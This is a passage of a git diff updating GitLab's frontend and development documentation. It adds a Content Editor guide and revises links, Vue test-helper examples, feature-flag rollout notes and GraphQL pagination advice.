- [The A11Y Project](https://www.a11yproject.com/) is a good resource for accessibility
- [Awesome Accessibility](https://github.com/brunopulis/awesome-a11y)
is a compilation of accessibility-related material
-- You can read [Chrome Accessibility Developer Tools'](https://github.com/GoogleChrome/accessibility-developer-tools)
- rules on its [Audit Rules page](https://github.com/GoogleChrome/accessibility-developer-tools/wiki/Audit-Rules)
diff --git a/doc/development/fe_guide/content_editor.md b/doc/development/fe_guide/content_editor.md
new file mode 100644
index 00000000000..f6329f39636
--- /dev/null
+++ b/doc/development/fe_guide/content_editor.md
@@ -0,0 +1,116 @@
+---
+stage: Create
+group: Editor
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Content Editor **(FREE)**
+
+The Content Editor is a UI component that provides a WYSIWYG editing
+experience for [GitLab Flavored Markdown](../../user/markdown.md) (GFM) in the GitLab application.
+It also serves as the foundation for implementing Markdown-focused editors
+that target other engines, like static site generators.
+
+We use [tiptap 2.0](https://www.tiptap.dev/) and [ProseMirror](https://prosemirror.net/)
+to build the Content Editor. These frameworks provide a level of abstraction on top of
+the native
+[`contenteditable`](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Editable_content) web technology.
+
+## Architecture remarks
+
+At a high level, the Content Editor:
+
+- Imports arbitrary Markdown.
+- Renders it in a HTML editing area.
+- Exports it back to Markdown with changes introduced by the user.
+
+The Content Editor relies on the
+[Markdown API endpoint](../../api/markdown.md) to transform Markdown
+into HTML. It sends the Markdown input to the REST API and displays the API's
+HTML output in the editing area. The editor exports the content back to Markdown
+using a client-side library that serializes editable documents into Markdown.
+
+![Content Editor high level diagram](img/content_editor_highlevel_diagram.png)
+
+Check the [Content Editor technical design document](https://docs.google.com/document/d/1fKOiWpdHned4KOLVOOFYVvX1euEjMP5rTntUhpapdBg)
+for more information about the design decisions that drive the development of the editor.
+
+**NOTE**: We also designed the Content Editor to be extensible. We intend to provide
+more information about extension development for supporting new types of content in upcoming
+milestones.
+
+## GitLab Flavored Markdown support
+
+The [GitLab Flavored Markdown](../../user/markdown.md) extends
+the [CommonMark specification](https://spec.commonmark.org/0.29/) with support for a
+variety of content types like diagrams, math expressions, and tables. Supporting
+all GitLab Flavored Markdown content types in the Content Editor is a work in progress. For
+the status of the ongoing development for CommonMark and GitLab Flavored Markdown support, read:
+
+- [Basic Markdown formatting extensions](https://gitlab.com/groups/gitlab-org/-/epics/5404) epic.
+- [GitLab Flavored Markdown extensions](https://gitlab.com/groups/gitlab-org/-/epics/5438) epic.
+
+## Usage
+
+To include the Content Editor in your feature, import the `createContentEditor` factory
+function and the `ContentEditor` Vue component. `createContentEditor` sets up an instance
+of [tiptap's Editor class](https://www.tiptap.dev/api/editor) with all the necessary
+extensions to support editing GitLab Flavored Markdown content. It also creates
+a Markdown serializer that allows exporting tiptap's document format to Markdown.
+
+`createContentEditor` requires a `renderMarkdown` parameter invoked
+by the editor every time it needs to convert Markdown to HTML. The Content Editor
+does not provide a default value for this function yet.
+
+**NOTE**: The Content Editor is in an early development stage. Usage and development
+guidelines are subject to breaking changes in the upcoming months.
+
+```html
+<script>
+import { GlButton } from '@gitlab/ui';
+import { createContentEditor, ContentEditor } from '~/content_editor';
+import { __ } from '~/locale';
+import createFlash from '~/flash';
+
+export default {
+ components: {
+ ContentEditor,
+ GlButton,
+ },
+ data() {
+ return {
+ contentEditor: null,
+ }
+ },
+ created() {
+ this.contentEditor = createContentEditor({
+ renderMarkdown: (markdown) => Api.markdown({ text: markdown }),
+ });
+
+ try {
+ await this.contentEditor.setSerializedContent(this.content);
+ } catch (e) {
+ createFlash(__('There was an error loading content in the editor'), e);
+ }
+ },
+ methods: {
+ async save() {
+ await Api.updateContent({
+ content: this.contentEditor.getSerializedContent(),
+ });
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <content-editor :content-editor="contentEditor" />
+ <gl-button @click="save()">Save</gl-button>
+ </div>
+</template>
+```
+
+Call `setSerializedContent` to set initial Markdown in the Editor. This method is
+asynchronous because it makes an API request to render the Markdown input.
+`getSerializedContent` returns a Markdown string that represents the serialized
+version of the editable document.
diff --git a/doc/development/fe_guide/design_anti_patterns.md b/doc/development/fe_guide/design_anti_patterns.md
index ee4fceff927..0788921fce4 100644
--- a/doc/development/fe_guide/design_anti_patterns.md
+++ b/doc/development/fe_guide/design_anti_patterns.md
@@ -119,8 +119,8 @@ Here are some ills that Singletons often produce:
such as no clear ownership and no access control. These leads to high coupling situations that can
be buggy and difficult to untangle.
1. **Infectious.** Singletons are infectious, especially when they manage state. Consider the component
- [RepoEditor](https://gitlab.com/gitlab-org/gitlab/blob/27ad6cb7b76430fbcbaf850df68c338d6719ed2b/app%2Fassets%2Fjavascripts%2Fide%2Fcomponents%2Frepo_editor.vue#L0-1)
- used in the Web IDE. This component interfaces with a Singleton [Editor](https://gitlab.com/gitlab-org/gitlab/blob/862ad57c44ec758ef3942ac2e7a2bd40a37a9c59/app%2Fassets%2Fjavascripts%2Fide%2Flib%2Feditor.js#L21)
+ [RepoEditor](https://gitlab.com/gitlab-org/gitlab/-/blob/27ad6cb7b76430fbcbaf850df68c338d6719ed2b/app%2Fassets%2Fjavascripts%2Fide%2Fcomponents%2Frepo_editor.vue#L0-1)
+ used in the Web IDE. This component interfaces with a Singleton [Editor](https://gitlab.com/gitlab-org/gitlab/-/blob/862ad57c44ec758ef3942ac2e7a2bd40a37a9c59/app%2Fassets%2Fjavascripts%2Fide%2Flib%2Feditor.js#L21)
which manages some state for working with Monaco. Because of the Singleton nature of the Editor class,
the component `RepoEditor` is now forced to be a Singleton as well. Multiple instances of this component
would cause production issues because no one truly owns the instance of `Editor`.
diff --git a/doc/development/fe_guide/editor_lite.md b/doc/development/fe_guide/editor_lite.md
index 5ad0c753ced..f28588c23e9 100644
--- a/doc/development/fe_guide/editor_lite.md
+++ b/doc/development/fe_guide/editor_lite.md
@@ -15,6 +15,7 @@ GitLab features use it, including:
- [CI Linter](../../ci/lint.md)
- [Snippets](../../user/snippets.md)
- [Web Editor](../../user/project/repository/web_editor.md)
+- [Security Policies](../../user/application_security/threat_monitoring/index.md)
## How to use Editor Lite
diff --git a/doc/development/fe_guide/event_tracking.md b/doc/development/fe_guide/event_tracking.md
index e8b8e0c4885..3931f0b35ab 100644
--- a/doc/development/fe_guide/event_tracking.md
+++ b/doc/development/fe_guide/event_tracking.md
@@ -1,8 +1,9 @@
---
redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
+remove_date: '2021-12-01'
---
This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-<!-- This redirect file can be deleted after December 1, 2021. -->
+<!-- This redirect file can be deleted after 2021-12-01. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/fe_guide/frontend_faq.md b/doc/development/fe_guide/frontend_faq.md
index bf1dae6e7bd..6b9d5ace4e6 100644
--- a/doc/development/fe_guide/frontend_faq.md
+++ b/doc/development/fe_guide/frontend_faq.md
@@ -32,15 +32,15 @@ question:
document.body.dataset.page
```
-Find here the [source code setting the attribute](https://gitlab.com/gitlab-org/gitlab/blob/cc5095edfce2b4d4083a4fb1cdc7c0a1898b9921/app/views/layouts/application.html.haml#L4).
+Find here the [source code setting the attribute](https://gitlab.com/gitlab-org/gitlab/-/blob/cc5095edfce2b4d4083a4fb1cdc7c0a1898b9921/app/views/layouts/application.html.haml#L4).
#### Rails routes
-The `rake routes` command can be used to list all the routes available in the application. Piping the output into `grep`, we can perform a search through the list of available routes.
+The `rails routes` command can be used to list all the routes available in the application. Piping the output into `grep`, we can perform a search through the list of available routes.
The output includes the request types available, route parameters and the relevant controller.
```shell
-bundle exec rake routes | grep "issues"
+bundle exec rails routes | grep "issues"
```
### 2. `modal_copy_button` vs `clipboard_button`
@@ -82,7 +82,7 @@ follow up issue and attach it to the component implementation epic found in the
### 4. My submit form button becomes disabled after submitting
-A Submit button inside of a form attaches an `onSubmit` event listener on the form element. [This code](https://gitlab.com/gitlab-org/gitlab/blob/794c247a910e2759ce9b401356432a38a4535d49/app/assets/javascripts/main.js#L225) adds a `disabled` class selector to the submit button when the form is submitted. To avoid this behavior, add the class `js-no-auto-disable` to the button.
+A Submit button inside of a form attaches an `onSubmit` event listener on the form element. [This code](https://gitlab.com/gitlab-org/gitlab/-/blob/794c247a910e2759ce9b401356432a38a4535d49/app/assets/javascripts/main.js#L225) adds a `disabled` class selector to the submit button when the form is submitted. To avoid this behavior, add the class `js-no-auto-disable` to the button.
### 5. Should one use a full URL (for example `gon.gitlab_url`) or a full path (for example `gon.relative_url_root`) when referencing backend endpoints?
@@ -172,7 +172,7 @@ To return to the normal development mode:
### 8. Babel polyfills
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/issues/28837) in GitLab 12.8.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28837) in GitLab 12.8.
GitLab has enabled the Babel `preset-env` option
[`useBuiltIns: 'usage'`](https://babeljs.io/docs/en/babel-preset-env#usebuiltins-usage).
diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md
index 49c511c2b85..870605c82f4 100644
--- a/doc/development/fe_guide/graphql.md
+++ b/doc/development/fe_guide/graphql.md
@@ -94,7 +94,7 @@ their execution by clicking **Execute query** button on the top left:
## Apollo Client
To save duplicated clients getting created in different apps, we have a
-[default client](https://gitlab.com/gitlab-org/gitlab/blob/master/app/assets/javascripts/lib/graphql.js) that should be used. This sets up the
+[default client](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/lib/graphql.js) that should be used. This sets up the
Apollo client with the correct URL and also sets the CSRF headers.
Default client accepts two parameters: `resolvers` and `config`.
@@ -106,6 +106,12 @@ Default client accepts two parameters: `resolvers` and `config`.
- `assumeImmutableResults` (set to `false` by default) - this setting, when set to `true`, assumes that every single operation on updating Apollo Cache is immutable. It also sets `freezeResults` to `true`, so any attempt on mutating Apollo Cache throws a console warning in development environment. Please ensure you're following the immutability pattern on cache update operations before setting this option to `true`.
- `fetchPolicy` determines how you want your component to interact with the Apollo cache. Defaults to "cache-first".
+### Multiple client queries for the same object
+
+If you are make multiple queries to the same Apollo client object you might encounter the following error: "Store error: the application attempted to write an object with no provided ID but the store already contains an ID of SomeEntity". [This error only should occur when you have made a query with an ID field for a portion, then made another that returns what would be the same object, but is missing the ID field.](https://github.com/apollographql/apollo-client/issues/2510#issue-271829009)
+
+Please note this is being tracked in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326101) and the documentation will be updated when this issue is resolved.
+
## GraphQL Queries
To save query compilation at runtime, webpack can directly import `.graphql`
@@ -1091,7 +1097,7 @@ it('renders a loading state', () => {
const mockApollo = createMockApolloProvider();
const wrapper = createComponent({ mockApollo });
- expect(wrapper.find(LoadingSpinner).exists()).toBe(true)
+ expect(wrapper.findComponent(LoadingSpinner).exists()).toBe(true)
});
it('renders designs list', async () => {
@@ -1393,7 +1399,6 @@ describe('My Index test with `createMockApollo`', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
fetchLocalUserSpy = null;
});
diff --git a/doc/development/fe_guide/img/content_editor_highlevel_diagram.png b/doc/development/fe_guide/img/content_editor_highlevel_diagram.png
new file mode 100644
index 00000000000..73a71cf5843
--- /dev/null
+++ b/doc/development/fe_guide/img/content_editor_highlevel_diagram.png
Binary files differ
diff --git a/doc/development/fe_guide/index.md b/doc/development/fe_guide/index.md
index 0f3754c29e7..00f0d72571a 100644
--- a/doc/development/fe_guide/index.md
+++ b/doc/development/fe_guide/index.md
@@ -93,6 +93,11 @@ General information about frontend [dependencies](dependencies.md) and how we ma
How we implement [keyboard shortcuts](keyboard_shortcuts.md) that can be customized and disabled.
+## Editors
+
+GitLab text editing experiences are provided by the [Source Editor](editor_lite.md) and
+the [Content Editor](content_editor.md).
+
## Frontend FAQ
Read the [frontend's FAQ](frontend_faq.md) for common small pieces of helpful information.
diff --git a/doc/development/fe_guide/style/vue.md b/doc/development/fe_guide/style/vue.md
index 93e4f234ccb..5c79d47e7b0 100644
--- a/doc/development/fe_guide/style/vue.md
+++ b/doc/development/fe_guide/style/vue.md
@@ -463,7 +463,7 @@ Creating a global, mutable wrapper provides a number of advantages, including th
let wrapper;
// this can now be reused across tests
- const findMyComponent = wrapper.find(MyComponent);
+ const findMyComponent = wrapper.findComponent(MyComponent);
// ...
})
```
@@ -565,16 +565,15 @@ the mounting function (`mount` or `shallowMount`) to be used to mount the compon
function createComponent({ mountFn = shallowMount } = {}) { }
```
-1. Wrap calls to `mount` and `shallowMount` in `extendedWrapper`, this exposes `wrapper.findByTestId()`:
+1. Use the `mountExtended` and `shallowMountExtended` helpers to expose `wrapper.findByTestId()`:
```javascript
- import { shallowMount } from '@vue/test-utils';
- import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+ import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import { SomeComponent } from 'components/some_component.vue';
let wrapper;
- const createWrapper = () => { wrapper = extendedWrapper(shallowMount(SomeComponent)); };
+ const createWrapper = () => { wrapper = shallowMountExtended(SomeComponent); };
const someButton = () => wrapper.findByTestId('someButtonTestId');
```
diff --git a/doc/development/fe_guide/troubleshooting.md b/doc/development/fe_guide/troubleshooting.md
index 1b3991ee80d..028184e0397 100644
--- a/doc/development/fe_guide/troubleshooting.md
+++ b/doc/development/fe_guide/troubleshooting.md
@@ -27,15 +27,15 @@ See [this video](https://youtu.be/-BkEhghP-kM) for an in-depth overview and inve
**Remedy - Try cloning the object that has Vue watchers**
```patch
-- expect(wrapper.find(ChildComponent).props()).toEqual(...);
-+ expect(cloneDeep(wrapper.find(ChildComponent).props())).toEqual(...)
+- expect(wrapper.findComponent(ChildComponent).props()).toEqual(...);
++ expect(cloneDeep(wrapper.findComponent(ChildComponent).props())).toEqual(...)
```
**Remedy - Try using `toMatchObject` instead of `toEqual`**
```patch
-- expect(wrapper.find(ChildComponent).props()).toEqual(...);
-+ expect(wrapper.find(ChildComponent).props()).toMatchObject(...);
+- expect(wrapper.findComponent(ChildComponent).props()).toEqual(...);
++ expect(wrapper.findComponent(ChildComponent).props()).toMatchObject(...);
```
Please note that `toMatchObject` actually changes the nature of the assertion and won't fail if some items are **missing** from the expectation.
diff --git a/doc/development/fe_guide/vue.md b/doc/development/fe_guide/vue.md
index 1cce699218c..0a769f257d0 100644
--- a/doc/development/fe_guide/vue.md
+++ b/doc/development/fe_guide/vue.md
@@ -13,7 +13,7 @@ To get started with Vue, read through [their documentation](https://vuejs.org/v2
What is described in the following sections can be found in these examples:
- [Web IDE](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/app/assets/javascripts/ide/stores)
-- [Security products](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/app/assets/javascripts/vue_shared/security_reports)
+- [Security products](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/app/assets/javascripts/vue_shared/security_reports)
- [Registry](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/app/assets/javascripts/registry/stores)
## Vue architecture
@@ -323,17 +323,13 @@ testing the rendered output.
Here's an example of a well structured unit test for [this Vue component](#appendix---vue-component-subject-under-test):
```javascript
-import { shallowMount } from '@vue/test-utils';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import { GlLoadingIcon } from '@gitlab/ui';
import MockAdapter from 'axios-mock-adapter';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import axios from '~/lib/utils/axios_utils';
import App from '~/todos/app.vue';
-const TEST_TODOS = [
- { text: 'Lorem ipsum test text' },
- { text: 'Lorem ipsum 2' },
-];
+const TEST_TODOS = [{ text: 'Lorem ipsum test text' }, { text: 'Lorem ipsum 2' }];
const TEST_NEW_TODO = 'New todo title';
const TEST_TODO_PATH = '/todos';
@@ -351,28 +347,27 @@ describe('~/todos/app.vue', () => {
afterEach(() => {
// IMPORTANT: Clean up the component instance and axios mock adapter
wrapper.destroy();
- wrapper = null;
-
mock.restore();
});
// It is very helpful to separate setting up the component from
// its collaborators (for example, Vuex and axios).
const createWrapper = (props = {}) => {
- wrapper = extendedWrapper(
- shallowMount(App, {
- propsData: {
- path: TEST_TODO_PATH,
- ...props,
- },
- })
- );
+ wrapper = shallowMountExtended(App, {
+ propsData: {
+ path: TEST_TODO_PATH,
+ ...props,
+ },
+ });
};
// Helper methods greatly help test maintainability and readability.
- const findLoader = () => wrapper.find(GlLoadingIcon);
+ const findLoader = () => wrapper.findComponent(GlLoadingIcon);
const findAddButton = () => wrapper.findByTestId('add-button');
const findTextInput = () => wrapper.findByTestId('text-input');
- const findTodoData = () => wrapper.findAll('[data-testid="todo-item"]').wrappers.map(wrapper => ({ text: wrapper.text() }));
+ const findTodoData = () =>
+ wrapper
+ .findAllByTestId('todo-item')
+ .wrappers.map((item) => ({ text: item.text() }));
describe('when mounted and loading', () => {
beforeEach(() => {
@@ -401,14 +396,13 @@ describe('~/todos/app.vue', () => {
expect(findTodoData()).toEqual(TEST_TODOS);
});
- it('when todo is added, should post new todo', () => {
- findTextInput().vm.$emit('update', TEST_NEW_TODO)
+ it('when todo is added, should post new todo', async () => {
+ findTextInput().vm.$emit('update', TEST_NEW_TODO);
findAddButton().vm.$emit('click');
- return wrapper.vm.$nextTick()
- .then(() => {
- expect(mock.history.post.map(x => JSON.parse(x.data))).toEqual([{ text: TEST_NEW_TODO }]);
- });
+ await wrapper.vm.$nextTick();
+
+ expect(mock.history.post.map((x) => JSON.parse(x.data))).toEqual([{ text: TEST_NEW_TODO }]);
});
});
});
diff --git a/doc/development/fe_guide/vuex.md b/doc/development/fe_guide/vuex.md
index d44ab64ae5d..3d0044928f1 100644
--- a/doc/development/fe_guide/vuex.md
+++ b/doc/development/fe_guide/vuex.md
@@ -40,7 +40,7 @@ When using Vuex at GitLab, separate these concerns into different files to impro
The following example shows an application that lists and adds users to the
state. (For a more complex example implementation, review the security
-applications stored in this [repository](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/app/assets/javascripts/vue_shared/security_reports/store)).
+applications stored in this [repository](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/app/assets/javascripts/vue_shared/security_reports/store)).
### `index.js`
@@ -464,7 +464,6 @@ describe('component', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
it('should show a user', async () => {
diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md
index 08a4401181b..a9ebcfc9fba 100644
--- a/doc/development/feature_flags/controls.md
+++ b/doc/development/feature_flags/controls.md
@@ -99,7 +99,7 @@ Guidelines:
Before toggling any feature flag, check that there are no ongoing
significant incidents on GitLab.com. You can do this by checking the
`#production` and `#incident-management` Slack channels, or looking for
-[open incident issues](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=incident)
+[open incident issues](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/?scope=all&state=opened&label_name[]=incident)
(although check the dates and times).
We do not want to introduce changes during an incident, as it can make
@@ -213,9 +213,6 @@ actors.
Feature.enabled?(:some_feature, group)
```
-**Percentage of time** rollout is not a good idea if what you want is to make sure a feature
-is always on or off to the users. In that case, **Percentage of actors** rollout is a better method.
-
Lastly, to verify that the feature is deemed stable in as many cases as possible,
you should fully roll out the feature by enabling the flag **globally** by running:
@@ -226,6 +223,32 @@ you should fully roll out the feature by enabling the flag **globally** by runni
This changes the feature flag state to be **enabled** always, which overrides the
existing gates (e.g. `--group=gitlab-org`) in the above processes.
+Note, that if an actor based feature gate is present, switching the
+`default_enabled` attribute of the YAML definition from `false` to `true`
+will not have any effect. The feature gate must be deleted first.
+
+For example, a feature flag is set via chatops:
+
+```shell
+/chatops run feature set --project=gitlab-org/gitlab some_feature true
+```
+
+When the `default_enabled` attribute in the YAML definition is switched to
+`true`, the feature gate must be deleted to have the desired effect:
+
+```shell
+/chatops run feature delete some_feature
+```
+
+##### Percentage of actors vs percentage of time rollouts
+
+If you want to make sure a feature is always on or off for users, use a **Percentage of actors**
+rollout. Avoid using percentage of _time_ rollouts in this case.
+
+A percentage of _time_ rollout can introduce inconsistent behavior when `Feature.enabled?`
+is used multiple times in the code because the feature flag value is randomized each time
+`Feature.enabled?` is called on your code path.
+
##### Disabling feature flags
To disable a feature flag that has been globally enabled you can run:
@@ -250,7 +273,7 @@ Any feature flag change that affects GitLab.com (production) via [ChatOps](https
is automatically logged in an issue.
The issue is created in the
-[gl-infra/feature-flag-log](https://gitlab.com/gitlab-com/gl-infra/feature-flag-log/-/issues?scope=all&utf8=%E2%9C%93&state=closed)
+[gl-infra/feature-flag-log](https://gitlab.com/gitlab-com/gl-infra/feature-flag-log/-/issues?scope=all&state=closed)
project, and it will at minimum log the Slack handle of person enabling
a feature flag, the time, and the name of the flag being changed.
diff --git a/doc/development/feature_flags/development.md b/doc/development/feature_flags/development.md
index 79efd6d5502..d7807c6f586 100644
--- a/doc/development/feature_flags/development.md
+++ b/doc/development/feature_flags/development.md
@@ -1,7 +1,9 @@
---
redirect_to: 'index.md'
+remove_date: '2021-06-01'
---
This document was moved to [another location](index.md).
+
<!-- This redirect file can be deleted after 2021-06-01. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> \ No newline at end of file
diff --git a/doc/development/feature_flags/index.md b/doc/development/feature_flags/index.md
index e18bcaa1f4e..79a100e44a5 100644
--- a/doc/development/feature_flags/index.md
+++ b/doc/development/feature_flags/index.md
@@ -41,7 +41,7 @@ should be leveraged:
1. [Create a new feature flag](#create-a-new-feature-flag)
which is **off** by default, in the first merge request which uses the flag.
- Flags [should not be added separately](#risk-of-a-broken-master-main-branch).
+ Flags [should not be added separately](#risk-of-a-broken-main-branch).
1. Submit incremental changes via one or more merge requests, ensuring that any
new code added can only be reached if the feature flag is **on**.
You can keep the feature flag enabled on your local GDK during development.
@@ -59,11 +59,11 @@ flag does not have to stick around for a specific amount of time
is deemed stable. Stable means it works on GitLab.com without causing any
problems, such as outages.
-## Risk of a broken master (main) branch
+## Risk of a broken main branch
-Feature flags **must** be used in the MR that introduces them. Not doing so causes a
-[broken master](https://about.gitlab.com/handbook/engineering/workflow/#broken-master) scenario due
-to the `rspec:feature-flags` job that only runs on the `master` branch.
+Feature flags must be used in the MR that introduces them. Not doing so causes a
+[broken main branch](https://about.gitlab.com/handbook/engineering/workflow/#broken-master) scenario due
+to the `rspec:feature-flags` job that only runs on the `main` branch.
## Types of feature flags
@@ -635,7 +635,7 @@ with how it interacts with `ActiveRecord`.
### End-to-end (QA) tests
Toggling feature flags works differently in end-to-end (QA) tests. The end-to-end test framework does not have direct access to
-Rails or the database, so it can't use Flipper. Instead, it uses [the public API](../../api/features.md#set-or-create-a-feature). Each end-to-end test can [enable or disable a feature flag during the test](../testing_guide/end_to_end/feature_flags.md). Alternatively, you can enable or disable a feature flag before one or more tests when you [run them from your GitLab repository's `qa` directory](https://gitlab.com/gitlab-org/gitlab/tree/master/qa#running-tests-with-a-feature-flag-enabled-or-disabled), or if you [run the tests via GitLab QA](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#running-tests-with-a-feature-flag-enabled).
+Rails or the database, so it can't use Flipper. Instead, it uses [the public API](../../api/features.md#set-or-create-a-feature). Each end-to-end test can [enable or disable a feature flag during the test](../testing_guide/end_to_end/feature_flags.md). Alternatively, you can enable or disable a feature flag before one or more tests when you [run them from your GitLab repository's `qa` directory](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa#running-tests-with-a-feature-flag-enabled-or-disabled), or if you [run the tests via GitLab QA](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#running-tests-with-a-feature-flag-enabled).
[As noted above, feature flags are not enabled by default in end-to-end tests.](#feature-flags-in-tests)
This means that end-to-end tests will run with feature flags in the default state implemented in the source
diff --git a/doc/development/feature_flags/process.md b/doc/development/feature_flags/process.md
index 247dafe9f0b..0e962218ab9 100644
--- a/doc/development/feature_flags/process.md
+++ b/doc/development/feature_flags/process.md
@@ -1,5 +1,6 @@
---
redirect_to: 'https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/'
+remove_date: '2021-06-01'
---
This document was moved to [another location](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/).
diff --git a/doc/development/file_storage.md b/doc/development/file_storage.md
index 1f929d64058..71fc81a6ea3 100644
--- a/doc/development/file_storage.md
+++ b/doc/development/file_storage.md
@@ -60,7 +60,7 @@ hash of the project ID instead, if project migrates to the new approach (introdu
We provide an [all-in-one Rake task](../administration/raketasks/uploads/migrate.md)
to migrate all uploads to object storage in one go. If a new Uploader class or model
type is introduced, make sure you add a Rake task invocation corresponding to it to the
-[category list](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/tasks/gitlab/uploads/migrate.rake).
+[category list](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/tasks/gitlab/uploads/migrate.rake).
### Path segments
diff --git a/doc/development/geo.md b/doc/development/geo.md
index 05fadcad08a..8017bd21126 100644
--- a/doc/development/geo.md
+++ b/doc/development/geo.md
@@ -199,8 +199,8 @@ needs to be applied to the tracking database on each **secondary** node.
### Configuration
-The database configuration is set in [`config/database_geo.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/database_geo.yml.postgresql).
-The directory [`ee/db/geo`](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/db/geo)
+The database configuration is set in [`config/database_geo.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/database_geo.yml.postgresql).
+The directory [`ee/db/geo`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/db/geo)
contains the schema and migrations for this database.
To write a migration for the database, use the `GeoMigrationGenerator`:
@@ -217,7 +217,7 @@ bundle exec rake geo:db:migrate
## Finders
-Geo uses [Finders](https://gitlab.com/gitlab-org/gitlab/tree/master/app/finders),
+Geo uses [Finders](https://gitlab.com/gitlab-org/gitlab/-/tree/master/app/finders),
which are classes take care of the heavy lifting of looking up
projects/attachments/etc. in the tracking database and main database.
@@ -320,7 +320,7 @@ The process running on the **secondary** node that looks for new
### `Gitlab::Geo` utilities
Small utility methods related to Geo go into the
-[`ee/lib/gitlab/geo.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/gitlab/geo.rb)
+[`ee/lib/gitlab/geo.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/geo.rb)
file.
Many of these methods are cached using the `RequestStore` class, to
diff --git a/doc/development/go_guide/index.md b/doc/development/go_guide/index.md
index 1513b65d19f..ad24353fde8 100644
--- a/doc/development/go_guide/index.md
+++ b/doc/development/go_guide/index.md
@@ -159,7 +159,7 @@ In some cases, such as building a Go project for it to act as a dependency of a
CI run for another project, removing the `vendor/` directory means the code must
be downloaded repeatedly, which can lead to intermittent problems due to rate
limiting or network failures. In these circumstances, you should [cache the
-downloaded code between](../../ci/caching/index.md#caching-go-dependencies).
+downloaded code between](../../ci/caching/index.md#cache-go-dependencies).
There was a
[bug on modules checksums](https://github.com/golang/go/issues/29278) in Go versions earlier than v1.11.4, so make
diff --git a/doc/development/gotchas.md b/doc/development/gotchas.md
index a506b67d89d..40598eaff95 100644
--- a/doc/development/gotchas.md
+++ b/doc/development/gotchas.md
@@ -196,7 +196,7 @@ RuboCop](https://gitlab.com/gitlab-org/gitlab-foss/blob/8-4-stable/.rubocop.yml#
Using the inline `:javascript` Haml filters comes with a
performance overhead. Using inline JavaScript is not a good way to structure your code and should be avoided.
-We've [removed these two filters](https://gitlab.com/gitlab-org/gitlab/blob/master/config/initializers/hamlit.rb)
+We've [removed these two filters](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/initializers/hamlit.rb)
in an initializer.
### Further reading
diff --git a/doc/development/graphql_guide/authorization.md b/doc/development/graphql_guide/authorization.md
index 8f17a8b6c93..a317b5d805b 100644
--- a/doc/development/graphql_guide/authorization.md
+++ b/doc/development/graphql_guide/authorization.md
@@ -40,7 +40,7 @@ to filter the records. This minimizes database queries and unnecessary
authorization checks of the loaded records. It also avoids situations,
such as short pages, which can expose the presence of confidential resources.
-See [`authorization_spec.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/graphql/features/authorization_spec.rb)
+See [`authorization_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/graphql/features/authorization_spec.rb)
for examples of all the authorization schemes discussed here.
## Type authorization
diff --git a/doc/development/graphql_guide/pagination.md b/doc/development/graphql_guide/pagination.md
index 5db9238faed..5fd2179ea9b 100644
--- a/doc/development/graphql_guide/pagination.md
+++ b/doc/development/graphql_guide/pagination.md
@@ -223,6 +223,26 @@ the `order_due_date_and_labels_priority` method creates a very complex query.
These types of queries are not supported. In these instances, you can use offset pagination.
+#### Gotchas
+
+Do not define a collection's order using the string syntax:
+
+```ruby
+# Bad
+items.order('created_at DESC')
+```
+
+Instead, use the hash syntax:
+
+```ruby
+# Good
+items.order(created_at: :desc)
+```
+
+The first example won't correctly embed the sort information (`created_at`, in
+the example above) into the pagination cursors, which will result in an
+incorrect sort order.
+
### Offset pagination
There are times when the [complexity of sorting](#limitations-of-query-complexity)
@@ -267,7 +287,7 @@ For consistency, we manually set the pagination cursors based on values returned
You can see an example implementation in the following files:
- [`types/error__tracking/sentry_error_collection_type.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/types/error_tracking/sentry_error_collection_type.rb) which adds an extension to `field :errors`.
